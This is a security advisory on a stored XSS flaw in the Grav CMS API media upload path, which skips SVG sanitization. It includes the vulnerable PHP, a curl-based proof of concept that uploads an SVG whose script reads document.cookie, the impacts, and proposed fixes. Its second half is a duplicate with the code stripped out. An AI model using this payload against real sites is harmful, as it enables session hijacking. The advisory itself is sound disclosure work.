Summary
The POST /api/v1/media upload pipeline in HandlesMediaUploads::processUploadedFile() only validates the file extension against uploads_dangerous_extensions - it never calls Security::sanitizeSVG(). As a result, an attacker with api.media.write permission can upload an SVG file containing arbitrary JavaScript. The file is stored unmodified on disk and served with Content-Type: image/svg+xml. When an administrator opens the SVG in a browser (directly, via <object>, or via <iframe>), the embedded <script> executes in the administrator's browser session, enabling cookie theft and session hijacking.
Details
Vulnerable code - user/plugins/api/classes/Api/Controllers/HandlesMediaUploads.php:95-150:
protected function processUploadedFile(
UploadedFileInterface $file,
string $targetDir,
?UploadFieldSettings $settings = null,
): string {
// ...error checks, size validation, filename sanitization...
// Only checks extension — does NOT call Security::sanitizeSVG()
$this->validateFileExtension($filename);
$settings?->assertAccepted($filename);
// Applies random_name / avoid_overwriting if configured
if ($settings !== null) {
$filename = $settings->resolveFilename($filename, $targetDir);
}
// File is moved to disk WITHOUT any SVG content inspection
$targetPath = $targetDir . '/' . $filename;
$file->moveTo($targetPath); // <-- SVG with <script> lands here untouched
return $filename;
}
The Security::sanitizeSVG() function exists and is configured ON by default (sanitize_svg: true in system/config/security.yaml). However it is only called from:
- The Form plugin form processing pipeline
- The admin page save path
- Explicit calls from plugins
The API media upload path never invokes it. SVGs uploaded through POST /api/v1/media bypass sanitization entirely.
SVG is served with executable MIME type:
HTTP/1.1 200 OK
Content-Type: image/svg+xml
Browsers render image/svg+xml content as SVG and execute embedded <script> blocks. This is the expected behavior for the MIME type — the defense is supposed to happen at upload time, not at serve time.
Proof of Concept
Step 1 - Obtain JWT token
JWT=$(curl -s http://127.0.0.1/grav/api/v1/auth/token \
-X POST -H "Content-Type: application/json" \
-d '{"username":"user","password":"pass"}' \
| python3 -c "import json,sys; print(json.load(sys.stdin)['data']['access_token'])")
Step 2 - Upload malicious SVG
cat > /tmp/xss.svg << 'SVGEOF'
<svg xmlns="http://www.w3.org/2000/svg" width="200" height="100">
<rect width="200" height="100" fill="red"/>
<text x="100" y="55" text-anchor="middle" fill="white" font-size="14">CLICK ME</text>
<script type="text/javascript">
alert("SVG XSS: " + document.domain + "\nCookies: " + document.cookie);
</script>
</svg>
SVGEOF
curl -s http://127.0.0.1/grav/api/v1/media -X POST \
-H "Authorization: Bearer $JWT" \
-F "file=@/tmp/xss.svg;filename=poc_xss.svg;type=image/svg+xml"
Response (201 Created):
{
"data": [{
"filename": "poc_xss.svg",
"url": "/user/media/poc_xss.svg",
"type": "image/svg+xml",
"size": 354,
"modified": "2026-06-22T14:37:30+00:00"
}]
}
Step 3 - Verify script survived upload
curl -s http://127.0.0.1/grav/user/media/poc_xss.svg
Output (script intact, NOT stripped):
<svg xmlns="http://www.w3.org/2000/svg" width="200" height="100">
<rect width="200" height="100" fill="red"/>
<text x="100" y="55" ...>CLICK ME</text>
<script type="text/javascript">
alert("SVG XSS: " + document.domain + "\nCookies: " + document.cookie);
</script>
</svg>
Step 4 - Trigger XSS
Open the SVG URL in a browser:
http://127.0.0.1/grav/user/media/poc_xss.svg

---
Impact
An authenticated attacker with media upload permissions can store arbitrary JavaScript on the server. When an administrator (or any user with a valid session) opens the SVG URL, the attacker's code executes in the victim's browser context:
- Session hijacking: Steal admin cookies → impersonate admin
- Credential phishing: Overlay a fake login form on the SVG page
- CSRF attacks: Make authenticated API calls from the victim's session
- Data exfiltration: Read and exfiltrate data visible in the admin panel
Remediation
Add SVG sanitization to the API media upload pipeline. In HandlesMediaUploads::processUploadedFile(), after moveTo(), inspect the file and sanitize if it's an SVG:
// After $file->moveTo($targetPath)
$ext = strtolower(pathinfo($filename, PATHINFO_EXTENSION));
if ($ext === 'svg') {
Security::sanitizeSVG($targetPath);
}
Or alternatively, inspect the SVG content before writing:
$clientType = $file->getClientMediaType();
$ext = strtolower(pathinfo($filename, PATHINFO_EXTENSION));
if ($ext === 'svg' || $clientType === 'image/svg+xml') {
$tmpPath = $file->getStream()->getMetadata('uri');
$svgContent = file_get_contents($tmpPath);
$sanitized = Security::sanitizeSvgString($svgContent);
if ($sanitized !== $svgContent) {
file_put_contents($tmpPath, $sanitized);
}
}
Summary
The
POST /api/v1/mediaupload pipeline inHandlesMediaUploads::processUploadedFile()only validates the file extension againstuploads_dangerous_extensions- it never callsSecurity::sanitizeSVG(). As a result, an attacker withapi.media.writepermission can upload an SVG file containing arbitrary JavaScript. The file is stored unmodified on disk and served withContent-Type: image/svg+xml. When an administrator opens the SVG in a browser (directly, via<object>, or via<iframe>), the embedded<script>executes in the administrator's browser session, enabling cookie theft and session hijacking.Details
Vulnerable code -
user/plugins/api/classes/Api/Controllers/HandlesMediaUploads.php:95-150:The
Security::sanitizeSVG()function exists and is configured ON by default (sanitize_svg: trueinsystem/config/security.yaml). However it is only called from:The API media upload path never invokes it. SVGs uploaded through
POST /api/v1/mediabypass sanitization entirely.SVG is served with executable MIME type:
Browsers render
image/svg+xmlcontent as SVG and execute embedded<script>blocks. This is the expected behavior for the MIME type — the defense is supposed to happen at upload time, not at serve time.Proof of Concept
Step 1 - Obtain JWT token
Step 2 - Upload malicious SVG
Response (
201 Created):{ "data": [{ "filename": "poc_xss.svg", "url": "/user/media/poc_xss.svg", "type": "image/svg+xml", "size": 354, "modified": "2026-06-22T14:37:30+00:00" }] }Step 3 - Verify script survived upload
Output (script intact, NOT stripped):
Step 4 - Trigger XSS
Open the SVG URL in a browser:
Impact
An authenticated attacker with media upload permissions can store arbitrary JavaScript on the server. When an administrator (or any user with a valid session) opens the SVG URL, the attacker's code executes in the victim's browser context:
Remediation
Add SVG sanitization to the API media upload pipeline. In
HandlesMediaUploads::processUploadedFile(), aftermoveTo(), inspect the file and sanitize if it's an SVG:Or alternatively, inspect the SVG content before writing: